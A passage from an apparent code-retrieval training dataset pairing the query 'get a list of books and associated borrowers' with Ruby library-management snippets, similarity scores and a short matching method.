"def show_all_books\n\t\tputs \"\\nAll Books\\n\"\n\t\tBook.all.each do |book|\n\t\t\tputs \"#{book.id} #{book.title}\"\n\t\tend\nend",
"def generate_cookbooks_list\n cookbooks = YARD::Registry.all(:cookbook).uniq.sort_by{|cookbook| cookbook.name.to_s}\n generate_full_list(cookbooks, 'Cookbooks', 'cookbooks')\nend",
"def index\n @stuk_books = StukBook.available\n end",
"def my_books\n @books = current_user.books\n end",
"def get_book(book_num)\n return @books_list[book_num]\n end",
"def index\n @mystery_books = current_user.mystery_books\n end",
"def get_books\n # clears the screen\n system(\"clear\")\n puts \"Please enter what you are looking for today: \"\n puts \"\"\n query = gets.chomp.downcase\n results = Api.call_api(query)\n\n add_book_to_reading_list(results)\n end",
"def borrow\n # This instance method is how a book is taken out of the library. Otherwise, use current_due_date to set the due_date of the book and move it from the collection of available books to the collection of books on loan, then return true.\n # This method should use lent_out? to check if the book is already on loan,\n if self.lent_out? == false\n @@due_date = Book.current_due_date\n @@on_shelf.delete(self)\n @@on_loan << self\n return true\n else\n return false\n end\n\n end",
"def index\n @cbooks = Cbook.all\n end",
"def get_books author\n books = @books[author]\n if books == nil\n puts \"No such author\"\n else\n puts books.join ', '\n end\n end",
"def check_in(book)\n book.status = \"available\"\n book.borrower.borrowed_books.delete(book.borrower.borrowed_books[book])\n end",
"def index\n @book_lends = BookLend.all\n end",
"def index\n @booksinlists = Booksinlist.all\n @booksinthelist = Book.joins(:booksinlists).where(booksinlists: {booklist_id: params[:id]})\n #@books = Book.find()\n end",
"def index\n @books_authors = BooksAuthor.all\n end",
"def rent_details(books) #passed\n details_collect = []\n for rentals in books[:rental_details]\n details_collect.push(rentals)\n end\n end",
"def show\n curr_user = Member.find_by(email: session[:user_id])\n if (curr_user && curr_user.id.to_s == params[:id]) || session[:is_admin?]\n @member = Member.find(params[:id])\n checkout_list = History.where(member_email: @member.email, status: \"Checkedout\")\n @book_list = []\n book_id_list = checkout_list.map { |x| x[:book_id] }\n book_id_list.each do |id|\n @book_list << id\n end\n else\n flash[:notice] = \"No Monkey Business!\"\n redirect_to '/books' \n end\n end",
"def index\n @librarybooklists = Librarybooklist.all\n end",
"def index\n @award_winner_books = current_user.award_winner_books\n end",
"def get_book_info(book)\n if book.status = available\n\t\t puts \"#{book.title} is currently available\"\n else \n puts \"#{book.title} is currently checked out by #{user.checked_out_books} and is due in #{due_date} seconds\"\n\t end\n end",
"def index\n @cookbooks = Cookbook.all\n end",
"def borrowBook()\n puts \"Enter the user name: \"\n user_name = gets.chomp\n\n # check if the user name is valid\n if isUserValid?(user_name)\n then\n # check if the user's book limit is exceeded\n if !isUserBookLimitExceeded?(user_name)\n then\n puts \"\\nEnter the book to be borrowed: \"\n book_name = gets.chomp\n # check if the requested book is available\n if isBookAvailable?(book_name)\n then\n puts \"The book is available!\\n\"\n # add the book to the user's list of borrowed books\n updateUserBooks(user_name, book_name)\n # decrement the number of available copies\n updateBookCopies(book_name)\n # display the details\n displayLibraryDetails()\n else\n # error message\n puts \"Sorry! This book is not available!\"\n end\n else\n # error message\n puts \"Book limit exceeded!\"\n end\n else\n # error message\n puts \"Invalid user!!\"\n end\n end",
"def notebooks\n self.notestore.listNotebooks(self.token)\n end",
"def borrowed_books_count\n @borrowed_books_count\n end",
"def get_borrower(book_id)\n #Runs through all books in the library and finds the one\n #that matches the id, then looks at the borrower\n #Currently no error protection if the book isn't borrowed\n @books.each do |book|\n return book.borrower.first.name if book.id == book_id\n end\n end",
"def listBooks\n # not sure how we go from Book class to books array, so this method does not work, \n # because there is no books array.\n # http://stackoverflow.com/questions/14532844/ruby-array-of-objects-classes\n # books = [@bookname]\n # Book.all_instances\n books.each do |book|\n puts book\n end\n end",
"def getLists()\n url = \"https://api.nytimes.com/svc/books/v3/lists/names.json\"\n params = {}\n self.request(url, params)\n end",
"def index\n @library_books = LibraryBook.all\n end",
"def find_books\n sql = \"SELECT * FROM books WHERE source_language_id = $1\"\n values = [@id]\n results = SqlRunner.run(sql, values)\n books_array = results.map{|book| Book.new(book)}\n return books_array\n end",
"def booklist\n\t\treturn '@selftype' + '@title.each do |title|,'\n\tend",
"def fetch_books(term)\n response = RestClient.get(\"https://www.googleapis.com/books/v1/volumes?q=#{term}\")\n\n JSON.parse(response.body)\n end",
"def show\n @borrows = Borrow.joins(:indentify, :book).where(user_id: current_user).select(\"borrows.*,indentifies.*,books.*,borrows.id\",)\n\n end"
] | [
"0.8493122",
"0.8485885",
"0.8048137",
"0.8048137",
"0.8036679",
"0.80096036",
"0.770446",
"0.76775086",
"0.7544679",
"0.7441755",
"0.7373068",
"0.7373068",
"0.7373068",
"0.7308638",
"0.7308638",
"0.72465485",
"0.71922845",
"0.71463466",
"0.7137135",
"0.7105979",
"0.70724905",
"0.7044804",
"0.70357347",
"0.6976999",
"0.68590146",
"0.68552536",
"0.68504953",
"0.684346",
"0.6839936",
"0.6809785",
"0.68060035",
"0.6803387",
"0.67921764",
"0.67694837",
"0.6758372",
"0.6747887",
"0.66262156",
"0.6609441",
"0.6604624",
"0.6592265",
"0.6526672",
"0.6506111",
"0.64985543",
"0.6480332",
"0.6436087",
"0.6426971",
"0.6388741",
"0.63457704",
"0.632618",
"0.6312448",
"0.6309801",
"0.6289811",
"0.62649024",
"0.62617934",
"0.6253823",
"0.6242947",
"0.6227773",
"0.62031066",
"0.6203105",
"0.6194739",
"0.6182621",
"0.61636716",
"0.6151827",
"0.6092256",
"0.60832626",
"0.60673267",
"0.606621",
"0.6052096",
"0.6045047",
"0.6042701",
"0.6040975",
"0.6022345",
"0.60112494",
"0.60026455",
"0.59842396",
"0.5981312",
"0.5981261",
"0.59769285",
"0.5959568",
"0.59506714",
"0.59458137",
"0.5939814",
"0.5935369",
"0.59200764",
"0.5920008",
"0.5918037",
"0.5915295",
"0.5906978",
"0.59021497",
"0.5890187",
"0.5886421",
"0.5867812",
"0.5862461",
"0.5857327",
"0.5850571",
"0.58495414",
"0.5848159",
"0.5847135",
"0.5834418",
"0.5832871"
] | 0.76176375 | 8 |
get a list of books and associated borrowers who have them checked out | def who_has_what
@who_has_book.each do |k, v|
puts "#{k}: #{v}"
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def borrowed_books\n @books.each do |book|\n if book.status == \"checked out\"\n puts \"#{book.title} by #{book.author}: Checked out by #{book.borrower.name}.\"\n end\n end\n end",
"def borrowed_books\n @books.select { |book| book.status == 'checked_out' }\n end",
"def borrowed_books\n @books.each do |book|\n if book.status == \"checked out\" \n puts \"'#{book.title}' is checked out to #{book.borrower.name}\" \n end\n end\n end",
"def get_checked_out_books\n UserBook.get_books_by_user_id(get_user_books_by_status(\"Checked Out\"))\n end",
"def borrowed_books\n @books.each do |book|\n if book.status == \"Checked out\"\n puts book.title + \" is currently checked out.\" \n puts \"Go talk to \" + book.borrower.name + \".\"\n end\n end\n end",
"def currently_checked_out_books\n # Select all checkouts that are active (checked out) and returns array of titles (strings)\n self.checkouts.select {|check_outs| check_outs.checked_out == true}.map{|books| books.book.title}\n end",
"def borrowed_books\n\t\tputs \"Borrowed Books:\"\n\t\t@book_status.each { |k, v| puts \"#{k}\" if v == \"checked_out\" }\n\tend",
"def borrowed_books\n puts \"The following books have been checked out:\"\n @books.each do |book|\n if book.checked_out\n puts \" \\\"#{book.title}\\\" has been checked out by #{book.current_patron.name}.\"\n end\n end\n end",
"def borrowed_books_list\n puts \"#{@name} has checked out:\"\n @books.each do |book|\n puts \" \\\"#{book.title}\\\"\"\n end\n end",
"def users\n #book_a.users\n #returns all the users that checked out this book\n\n checkout_array = Checkout.all.select {|checkout| checkout.book == self}\n checkout_array.map {|checkout| checkout.user}\n end",
"def borrowed_books_list\n @borrowed_books.each do |book|\n puts \"#{book.title} by #{book.author}\"\n end\n end",
"def borrowed_books_list\n @borrowed_books.each {|book| puts \"'#{book.title}' by #{book.author}\" }\n end",
"def borrowed_books\n @books.each do |book| \n if book.status == \"unavailable\"\n# book refers to an instance of the class \"book\". .title refers to the\n# \"getter\" method we created in class Book that retrieves the value of\n# instance variable, @title, which was passed a value from an instance of \n# the class Book.\n# .borrower refers to the \"getter/setter\" method(s) which retrieve and set\n# the value of @borrower is set in the check_out method (set to user)\n puts \"The book #{book.title} has been checked out by #{book.borrower.name}\"\n end\n end\n end",
"def borrowed_books\n @borrowed_books\n end",
"def borrowed_books\n @borrowed_books\n end",
"def check_out_book(book_id, borrower)\n #Runs through each book in the library\n @books.each do |book|\n #If the book's id matches the id of the checkout id,\n #tries to check the book out\n if book.id == book_id && book.check_out(borrower)\n borrower.checked_out << book\n return book\n end\n end\n #If no match is found, returns nil\n return nil\n end",
"def available_books\n @books.each do |book|\n if book.status != \"Checked out\"\n puts book.title + \" is available to check out.\"\n end\n end\n end",
"def list_checked_out\n @checked_out.each { |book| puts \"#{book.title} - #{book.author} : Due on #{book.due_date.ctime}\" }\n end",
"def borrow(book)\n\t\t@checked_out_books << book\n\tend",
"def borrow_books(*books)\n\t\tbooks.each do |book|\n\t\t\tif self.books.include?(book)\n\t\t\t\tputs \"#{self.name} has already checked this book out!\"\n\t\t\telse\n\t\t\t\tself.books << book\n\t\t\tend\n\t\tend\n\tend",
"def books_with_authors\n books.select { |b| b.name && b.author_name }\n end",
"def get_books()\n @checked_books\n end",
"def borrowed_books_list\n @borrowed_books.each do |borrowed_books|\n puts borrowed_books.title\n end\n end",
"def check_in(book)\n book.status = \"available\"\n book.borrower.borrowed_books.delete(book.borrower.borrowed_books[book])\n end",
"def check_in_book(book)\n borrower = book.check_in\n #Removes the book from the borrower's checked out array\n borrower.first.checked_out.delete(book)\n end",
"def get_unread_books(user_books, books)\n array_of_books = []\n user_books.each do |user_book|\n if user_book.times_read == 0\n array_of_books << books.find { |b| b.id == user_book.book_id }\n end\n end\n array_of_books\n end",
"def available_books\n @books.each do |book|\n if book.status != \"checked out\"\n puts \"'#{book.title}' is currently available\"\n end\n end\n end",
"def check_out(borrower, book)\n if borrower.borrowed_books.size == 2\n puts \"Sorry, \" + borrower.name + \", you cannot check out any more books until you return one.\"\n elsif (book.status == \"Checked out\") \n puts \"Sorry, \" + borrower.name + \", that book is not available.\"\n else\n borrower.borrowed_books_count = borrower.borrowed_books_count + 1\n book.status = \"Checked out\"\n borrower.borrowed_books << book\n book.borrower = borrower\n puts borrower.name + \" has checked out \" + book.title + \".\"\n return borrower\n end\n end",
"def available_books\n puts \"The following books are available for check out:\"\n @books.each do |book|\n if book.checked_out == false\n puts \" \\\"#{book.title}\\\"\"\n end\n end\n end",
"def show_books_checked_by_patron(selected)\n\tp = Patron.find_by_id(selected).books\n\tif p == []\n\t\tputs \"\\nNo books currently checked out to #{Patron.find_by_id(selected).name}\\n\"\n\telse\n\t\tputs \"\\n\"\n\t\tp.each do |book|\n\t\t\tputs \"#{Patron.find_by_id(selected).name} currently has #{book.title} checked out.\"\n\t\tend\n\tend\nend",
"def list_books\n @books.each do |book|\n if book.checked_out\n puts '\"' + book.title + '\" : checked out'\n else\n puts '\"' + book.title + '\" : avaiable'\n end\n end \n end",
"def books\n self.book_authors.map {|book_author| book_author.book}\n end",
"def index\n @borrowed_books = BorrowedBook.all\n end",
"def index\n @borrowed_books = BorrowedBook.all\n end",
"def index\n @borrowed_books = BorrowedBook.all\n end",
"def available_books\n @books.select { |book| book.status == 'available' }\n end",
"def check_out(user, book)\n if user.borrowed_books.length == 2\n puts \"Sorry #{user.name}, you have already checked out two books.\"\n return \n end\n\n if book.status == \"available\"\n book.borrower = user\n user.borrowed_books.push(book)\n book.status = \"checked out\"\n puts \"#{user.name} checked out '#{book.title}' by #{book.author}.\"\n elsif book.status == \"checked out\"\n puts \"Sorry '#{book.title}' is checked out by another library member.\"\n else\n puts \"Sorry, that book is not available\"\n return \n end\n end",
"def borrowable_items\n# items.where(\"borrower_id = 0\")\n Item.all.where(\"borrower_id = 0 and lender_id != :owner\", {owner: self.id})\n end",
"def books_per_user(user)\n user.books_checked_out.collect do |b|\n puts \"#{b.title} is due at #{b.due_date}.\"\n end\n end",
"def check_out(user, book)\n# .borrowerd_books refers to the \"getter/setter\" methods defined in the Borrower class which enables\n# us to retrieve the books in the @borrowed_books array and add new ones as well. .length checks the\n# length of the the @borrowered_books array.\n if user.borrowed_books.length >= 2\n#\n puts \"Sorry, the user is only able to check out two books.\"\n return\n end\n# .status refers to the \"getter/setter\" method that retrieves and sets the instance variable @status. \n if book.status == \"available\"\n user.borrowed_books << book\n book.status = \"unavailable\"\n book.borrower = user\n else\n puts \"Sorry, that book is unavailable.\"\n end\n end",
"def user_book_ids\n self.books.uniq.collect do |book|\n book.id\n end\n end",
"def available\n @books = Book.all\n end",
"def show\n curr_user = Member.find_by(email: session[:user_id])\n if (curr_user && curr_user.id.to_s == params[:id]) || session[:is_admin?]\n @member = Member.find(params[:id])\n checkout_list = History.where(member_email: @member.email, status: \"Checkedout\")\n @book_list = []\n book_id_list = checkout_list.map { |x| x[:book_id] }\n book_id_list.each do |id|\n @book_list << id\n end\n else\n flash[:notice] = \"No Monkey Business!\"\n redirect_to '/books' \n end\n end",
"def check_in(book)\n if book.status == \"checked out\"\n puts \"'#{book.title}' has been checked back in by #{book.borrower.name}\" \n book.status = \"available\"\n book.borrower.borrowed_books.delete(book)\n else\n puts \"'#{book.title}' is already checked in.\"\n end\n end",
"def check_out(*book_ids) # 1..n book_ids\n if not @open\n raise Exception, \"The library is not open.\", caller\n elsif not @current_member\n raise Exception, \"No member is currently being served.\", caller\n elsif book_ids.empty?\n raise Exception, \"Please specifiy at least one book ID.\", caller\n elsif @members[\"#{@current_member}\"].get_books.count > 3\n \"#{@current_member} has checked out the max number of books.\"\n else\n total = 0\n # lookup the books, check they exist and aren't already checked out \n book_ids.each do |v|\n @books.select { |k,book| \n book.get_due_date() == nil && book.get_id() == v.to_i \n }.to_a.each do |k,book| \n if @members[\"#{@current_member}\"].check_out(book)\n book.check_out(@cal.get_date + 7)\n total = total + 1\n end\n end\n end\n if total > 0\n \"#{total.to_s} books have been checked out to #{@current_member}.\"\n else\n \"No books found.\"\n end\n end\n end",
"def check_in\n @status = 'available'\n return @borrower\n @borrower = []\n end",
"def check_out(user, book)\n if user.borrowed_books_count == 2\n puts \"Sorry, that user already has two books checked out.\"\n elsif book.status == \"checked out\"\n puts \"Sorry, that book in not available.\"\n else\n book.borrower = user\n user.borrowed_books.push(book)\n book.status = \"checked out\"\n puts \"#{user.name} has now checked out #{book.title} by #{book.author}.\"\n end\n end",
"def check_in(*book_ids) # = 1..n book numbers\n\n raise 'The library is not open!' unless @open\n\n if @serve == nil\n raise 'No member is currently being served.'\n else\n\n count = 0\n\n book_ids.each_index do |i|\n\n y = book_ids.at(i)\n\n\n @serve.books_out.each_index do |n|\n\n book1 = @serve.books_out.at(n)\n x = book1.get_id\n\n if x == y\n book1.check_in\n @serve.give_back(book1)\n @books_available.push book1\n count = count + 1\n end\n\n end\n\n\n if count == 0\n puts \"The library does not have book #{y}.\"\n else\n puts \"#{@serve.get_name} has returned #{count} books\"\n end\n\n end\n end\n end",
"def get_books()\n @books_out\n end",
"def get_books()\n @books_out\n end",
"def available_books\n @books.each do |book|\n if book.status == \"available\"\n puts \"#{book.title} by #{book.author} is available.\"\n end\n end\n end",
"def books\n result = []\n if @filename2books\n @filename2books.each do |_filename,books|\n next if books.empty?\n\n books.each do |wr_book|\n result << wr_book.__getobj__ if wr_book.weakref_alive?\n end\n end\n end\n result\n end",
"def check_out(*book_ids) # = 1..n book ids\n\n raise 'The library is not open!' unless @open\n\n if @serve == nil\n raise 'No member is currently being served.'\n else\n\n count = 0\n\n book_ids.each_index do |i|\n\n y = book_ids.at(i)\n\n books_available.each_index do |n|\n\n book1 = @books_available.at(n)\n x = book1.get_id\n\n if x == y\n ddate = book1.get_due_date\n book1.check_out(ddate)\n @serve.check_out(book1)\n @books_available.delete_at(n)\n count = count + 1\n end\n\n end\n\n if count == 0\n puts \"The library does not have book #{y}.\"\n else\n puts \"#{count} books have been checked out to #{@serve.get_name}.\"\n end\n\n end\n\n end\n\n end",
"def check_in(book, user)\n # Check if book is already checked out\n if book.status == \"checked out\" || book.status == \"overdue\"\n book.status = \"available\"\n\n # Remove from user's checked out book array\n user.checked_out_books.delete_if { |e| e == book }\n user.overdue_books.delete_if {|e| e == book }\n \n # Reset the check out and due dates to nothing\n book.check_out_date = nil\n book.due_date = nil\n \n # Remove from the library's checked out and overdue arrays.\n @checked_out.delete_if { |e| e == book }\n @overdue.delete_if { |e| e == book }\n\n # Remove the user who checked out the book\n book.who_checked = nil\n \n # Error message for book that is not checked out.\n elsif book.status == \"available\"\n puts \"This book is not checked out\"\n \n # Allows lost books to be returned.\n elsif book.status == \"lost\"\n book.status = \"available\"\n puts \"Thanks for bringing #{book.title} back!\"\n \n # Malformed input or malfunctioning method error message.\n else\n puts \"There is something wrong with the book you've tried to check out. This is an error message. Sorry.\"\n end\n end",
"def borrow(book_id, user_id)\r\n @@books.each do |book|\r\n @@users.each do |user|\r\n if book.bookID == book_id && user.userID == user_id\r\n if book.status == \"available\"\r\n book.borrower = (user.fname+\" \"+user.lname)\r\n book.status = \"borrowed\"\r\n user.bookBorrowed = book.title\r\n puts(\"\\nFollowing user has borrowed the following book: \")\r\n puts(\"User : #{user.inspect}\")\r\n puts(\"Book : #{book.inspect}\")\r\n else\r\n puts \"\\nSorry! the selected book #{book.bookID} is currently not available and cannot be lend to #{user.userID}; \\nbecause it is borrowed by user : #{book.borrower}\" end\r\n end\r\n end\r\n end\r\n end",
"def get_current_books\n user = User.find_by_id(params[:user_id])\n shelves = user.bookshelves\n \n @books = Array.new\n \n shelves.each do |s|\n s.shelfitems.each do |shelf|\n if shelf.finished == false\n @books << shelf.book\n end\n end\n end\n \n render json: @books\n end",
"def overdue_books\n borrowed_books.each do |book|\n puts \"#{book.title} was due on #{book.due_date.strftime(\"%B %d, %Y\")}.}\" if book.check_overdue(book.borrower.first)\n end\n end",
"def unsorted_books(user)\n user.books - user.shelves.collect{ |shelf| shelf.books }.flatten.uniq\n end",
"def check_out(borrower_obj)\n overdue = check_overdue(borrower_obj)\n cur_date = Time.new\n #Only check out a book if it is available,\n #the borrower doesn't have 2 already checked out\n #and does not have any over due books, and\n #there is no one on the waitlist or the person trying\n #to check out the book is the next person on the waitlist\n if (@status == 'available' && borrower_obj.checked_out.length < 2 && !overdue && (@waitlist.length == 0 || @waitlist.first.name == borrower_obj.name))\n @status = 'checked_out'\n #Adds the borrower to the book borrower array\n #Might be able to go with = and remove all of the .firsts\n @borrower << borrower_obj\n #Sets the due date as time checked out + 7 days\n @due_date = Time.now + 604800\n #Removes the person from the waitlist if they're on it\n @waitlist.shift if @waitlist.length > 0\n #Tells the calling method the book was checked out\n return true\n else\n #Adds the borrower to the waitlist\n @waitlist << borrower_obj\n #Tells the calling method the book was not checked out\n return false\n end\n end",
"def check_out_book(book_title, time, books,customer)\n\n books.each do |book|\n if book.title == book_title\n if !book.checkedout\n book.checkout(customer, Date.today + time)\n puts \"#{book_title} is now checked out to #{customer.name}\".colorize(:green)\n return books\n else\n puts \"#{book_title} is already checked out!\".colorize(:red)\n return books\n end\n end\n end\n puts \"Book not found\".colorize(:red)\n return books\nend",
"def check_out(user, book)\n if user.books.length == 2\n puts \"This library patron already has two books checked out!\"\n return\n end\n if book.checked_out == false\n book.checked_out = true\n book.current_patron = user\n user.books << book\n puts \"Library patron #{user.name} has checked out \\\"#{book.title}.\\\"\"\n else\n puts \"Sorry, this books has already been checked out.\"\n end\n end",
"def borrow\n # This instance method is how a book is taken out of the library. Otherwise, use current_due_date to set the due_date of the book and move it from the collection of available books to the collection of books on loan, then return true.\n # This method should use lent_out? to check if the book is already on loan,\n if self.lent_out? == false\n @@due_date = Book.current_due_date\n @@on_shelf.delete(self)\n @@on_loan << self\n return true\n else\n return false\n end\n\n end",
"def all_bookings\n Booking.includes(:user, :court).ordered.load\n end",
"def reviewed_books\n self.reviews.map{|r| r.book}\n end",
"def get_user_books_by_status(status)\n case status\n when \"Read\"\n user_books.where(status: \"Read\")\n when \"Checked Out\"\n user_books.where(status: \"Checked Out\")\n when \"Not Read\"\n user_books.where(status: \"Not Read\")\n end\n end",
"def check_out(book)\n puts \"#{self.get_name} does not have a library card\" unless @library.members.member?(self.get_name)\n\n if @books_out.length < BOOK_LIMIT\n books_out << book\n end\n\n end",
"def checked_out_books\n @user_id = params[:user_id]\n if @user_id == 'admin'\n @record = BookIssueTransaction.where('status = ?', '4')\n else\n @record = BookIssueTransaction.where('status = ? and libraries_id = ?', '4', @user_id)\n end\n end",
"def getAllBooks()\n puts \"\\nBOOKS:\"\n puts \"-------------------------------------------------\"\n @books.each {|book| puts \"ID: \" + book.id.to_s +\n \", Name: \" + book.title +\n \", Author: \" + book.author +\n \", Publication: \" + book.publication +\n \", Year: \" + book.year.to_s +\n \", Rack No.: \" + book.rack_no .to_s+\n \", Total Copies: \" + book.total_copies.to_s +\n \", Copies Available: \" + book.copies_available.to_s\n }\n puts \"-------------------------------------------------\"\n end",
"def list_books\n @books.each { |book| puts \"#{book.title} - #{book.author} : #{book.status}\"}\n end",
"def\n check_out(book)\n\n puts \"#{self.get_name} does not have a library card\" unless @library.members.member?(self.get_name)\n\n if @books_out.length < BOOK_LIMIT\n books_out << book\n end\n\n end",
"def return_books(books, user)\n\t\tif @users.include? user then\t\t\t\n\t\t\t(@records.select {|record| !record.has_return && record.user_id.eql?(user.id)}).each do |record|\n\t\t\t\tbooks.uniq.each do |book|\n\t\t\t\t\tif book.isbn == record.book_isbn then\n\t\t\t\t\t\tinventory[book] += 1\n\t\t\t\t\t\trecord.has_return = true\n\t\t\t\t\t\tputs \"Successfully return <#{book.title}> to the library\"\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\t\tcheck_records(user)\n\t\tend\n\tend",
"def check_out_by(user)\n borrowed_by.push(user)\n end",
"def list_books\n @books.each do |book|\n puts \"#{book.title} by #{book.author}: #{book.status}\"\n end\n end",
"def available_books\n\t\tputs \"Available Books:\"\n\t\t@book_status.each { |k, v| puts \"#{k}\" if v == \"available\" }\n\tend",
"def check_in(book)\n end",
"def books\n Book.all.select do |book|\n # Is this book's genre object matching to \"me\"?\n book.genre == self\n end\n end",
"def check_out(book,user)\n\t\tif user.book_count > 2\n\t\t\tputs \"Sorry! You can't check out any more books.\"\n\t\telsif user.checked_out_books.any? { |book| book.overdue? == true}\n\t\t\tputs \"Sorry! You have an overdue book.\"\n\t\telsif book.status == \"available\" \n\t\t\tbook.due_date = Time.now + (7*24*3600)\n user.checked_out_books << book\n\t\t\tuser.borrow(book)\n book.status = \"checked out\"\n\t\t\tputs \"You have checked out #{book.title}.\"\n\t\telse \n\t\t\tputs \"#{book.title} is checked out. Please check back soon.\"\n\t\tend\n\tend",
"def chalkler_bookings\n h = Hash.new {|h, c| h[c] = @booking_set.bookings.select{|b| b.chalkler == c } }\n @booking_set.bookings.collect(&:chalkler).uniq.compact.map {|c| h[c] }\n h\n end",
"def reachable_cookbooks\n @reachable_cookbooks ||= Set.new(cookbook_order)\n end",
"def check_in(book)\n if book.checked_out\n puts \"Library patron #{book.current_patron.name} has returned \\\"#{book.title}\\\".\"\n book.current_patron.books.delete(book)\n book.current_patron = nil\n book.checked_out = false\n else\n puts \"This book is already checked in!\"\n end\n end",
"def index\n @booksinlists = Booksinlist.all\n @booksinthelist = Book.joins(:booksinlists).where(booksinlists: {booklist_id: params[:id]})\n #@books = Book.find()\n end",
"def eligible_owners\n User.where('users.id != ?', @cookbook.user_id)\n end",
"def books\n Book.where(\"songs ? :id\", id: self.id.to_s)\n end",
"def check_in(book)\n @book = book\n end",
"def check_out(book, user)\n user.overdue_update\n\n # Check the number of books a user has checked out\n if user.checked_out_books.length >= 2\n puts \"You have too many books checked out. You must return at least one book before you can check out another book.\"\n\n # Check if the user has overdue books\n elsif user.overdue_books.any? \n puts \"You have overdue books! No new books for you! Return your overdue books to be allowed to check out new books.\"\n \n # Check out the book\n elsif book.status == \"available\"\n book.status = \"checked out\"\n user.checked_out_books << book\n book.check_out_date = Time.now\n book.due_date = book.check_out_date + ((60*60*24)*7)\n @checked_out << book\n book.who_checked = user.name\n puts \"#{book.title} has been checked out by #{book.who_checked}. Enjoy!\"\n \n else\n puts \"You have discovered a problem with the check_out method! Sorry!\"\n end\n end",
"def unique_checkouts(books)\n unique_members = Hash.new { 0 }\n books.each do |book|\n book.checkouts.each do |checkout|\n unique_members[checkout.name] += 1\n end\n end\n unique_members.keys.count\nend",
"def updateUserBooks(user_name, book_name)\n @users.each do |user|\n if user.name == user_name\n then\n user.books_borrowed.push(book_name)\n puts \"USER DETAILS:\"\n puts \"------------------------------------------\"\n puts \"ID: \" + user.id.to_s\n puts \"Name: \" + user.name\n puts \"Address: \" + user.address\n puts \"Book Limit: \" + user.book_limit.to_s\n puts \"Books Borrowed:\"\n puts user.books_borrowed\n puts \"------------------------------------------\"\n end\n end\n end",
"def book_due_dates\n borrowed_books.each { |book| puts \"#{book.title} checked out by #{book.borrower.first.name}. Due date: #{book.due_date.strftime(\"%B %d, %Y\")}.\"}\n end",
"def long_books\n all_my_books.select do |book|\n book.pages > 50\n end\n # ALL THE BOOKS\n end",
"def find_overdue_books\n raise 'The library is not open!' unless @open\n raise 'No member is currently being served' unless @serve\n current_date = calendar.get_date\n\n book_list = @serve.get_books\n book_list.each_index do |n|\n if current_date > book_list[n].get_due_date\n puts \"#{@serve.get_name} #{book_list[n].to_s} \"\n else\n puts 'None'\n end\n end\n end",
"def all_books\n\t\t\t@books = Book.all\n\t\tend",
"def odsa_books\n inst_books\n end",
"def list\n @books = Book.all\n end",
"def returnbook\n @books = Book.all \n end",
"def find_books(books, library, stream)\n @library_branch_location = library\n stream << \"data: status: Finding which books are available...\\n\\n\"\n book_available = false\n\n books.each do |book|\n # get related isbns and limit collection to a maximum of 20 ISBNs\n related_isbns = get_related_isbns(book[:isbn])[0...20]\n\n libraries_available = []\n # search through ISBNs, 5 at a time (due to limits on chipublib search),\n # break at first results found\n (0...related_isbns.length).step(5) do |count|\n isbn_search_range = related_isbns[count...count+5]\n isbn_search_string = isbn_search_range.join('+or+')\n\n fetch_result = fetch(\"#{LIBRARY_SEARCH_URL}?&isbn=#{isbn_search_string}&location=#{@library_branch_location}&format=Book&advancedSearch=submitted\")\n\n # unzip\n body = Zlib::GzipReader.new(StringIO.new(fetch_result[:response].body)).read\n\n if fetch_result[:page_type] == \"search\"\n if body.index(LIBRARY_NO_RESULTS_STRING) == nil\n # assemble a collection of results\n page = Nokogiri::HTML(body)\n libraries_available = parse_search_results(page)\n else\n # no results for this book's ISBN(s)\n # puts LIBRARY_NO_RESULTS_STRING\n end\n else # detail, one result for this book's ISBN(s)\n libraries_available = parse_detail(body)\n end\n\n # if it's available at our library, don't bother going through any other ISBNs for this book,\n # just tell me it's available so the next book can be processed\n if libraries_available.include? LIBRARY_MY_STRING; break end\n\n # don't make too many requests too fast :)\n sleep 1/60\n end\n\n # show where the book is available\n html = \"<li><a href='#{book[:url]}' title='#{book[:title]}'>#{book[:title]}</a> is available\"\n if libraries_available.include? LIBRARY_MY_STRING\n book_available = true\n stream << \"data: #{html}\\n\\n\"\n elsif libraries_available.length > 0 && @library_branch_location == ''\n book_available = true\n html += \" at \"\n libraries_available.uniq.each do |library|\n html += \"<span class='library'>#{library}</span>\"\n if (libraries_available.last != library); html += \", \" end\n end\n html += \"</li>\"\n stream << \"data: #{html}\\n\\n\"\n else\n # show those unavailable\n end\n\n end\n\n stream << \"data: status: None of your books are available.\\n\\n\" unless book_available == true\nend",
"def list_books\n @books.each do |books|\n puts books.title + \" is currently \" + books.status + \".\"\n end\n end",
"def get_qualifying_repos\n if !authenticated?\n authenticate!\n end\n\n # Get Github data.\n\n repos = client.repositories\n username = client.user.login\n\n # Compile a list of repositories for projecs that we've already used.\n user = User.find_by(github_id: client.user.id)\n used_repos = Array.new\n my_books = Book.where(\"user_id = ?\", user.id)\n [*my_books].each do |book|\n used_repos << book[:repo_id]\n end\n\n # Identify the names claimed for github user/organization pages. There may\n # be a better way to remove them than string detection, but I'll use it for\n # now, since it looks like that's what github uses and I don't know beter.\n name_match_1 = username + '.github.io' #=> octocat.github.io\n name_match_2 = username + '.github.com' #=> octocat.github.com\n\n # Iterate through our array of github repos and delete ones from the list\n # that don't qualify for a new book-site.\n repos.delete_if do |repo|\n # Remove this repo if it matches the name for a user/org page project.\n if repo.name == name_match_1 || repo.name == name_match_2\n true\n # Remove this repo if it has already been used for a book.\n elsif used_repos.include? repo.id\n true\n # Remove this repo if it doesn't belong to this user. This is designed to\n # remove repos you are a \"collaborator\" on.\n elsif username != repo.full_name.split('/')[0]\n true\n else\n # This repo is good... return false to prevent deleting it.\n false\n end\n end\n\n return repos\nend",
"def book_list\n\t\tputs \"Here are the books in our library:\"\n\t\t@books.each { |book| puts \"#{book.name}\" }\n\tend",
"def list_overdue\n @checked_out.each do |book|\n book.is_overdue\n end\n \n puts \"The following books are overdue:\"\n @overdue.each { |book| puts \"#{book.title} - #{book.author}\" }\n end",
"def list_books\n @books.each {|book| puts \"'#{book.title}' is #{book.status}.\" }\n end",
"def check_out_book\n\tselect = make_selection.to_i\n\tselect = verify_book_exists(select)\n\tb = Book.find(select)\n\tif b.patron_id.nil?\n\t\tputs \"\\nPlease select patron that would like to check out book\\n\"\n\t\tshow_all_patrons\n\t\tselect = make_selection.to_i\n\t\tselect = verify_patron_exists(select)\n\t\tb.update_attributes(patron_id: select)\n\telse\n\t\tputs \"\\nThis book is already checked out\\n\"\n\tend\nend"
] | [
"0.77372646",
"0.7669424",
"0.7510868",
"0.7384308",
"0.73736984",
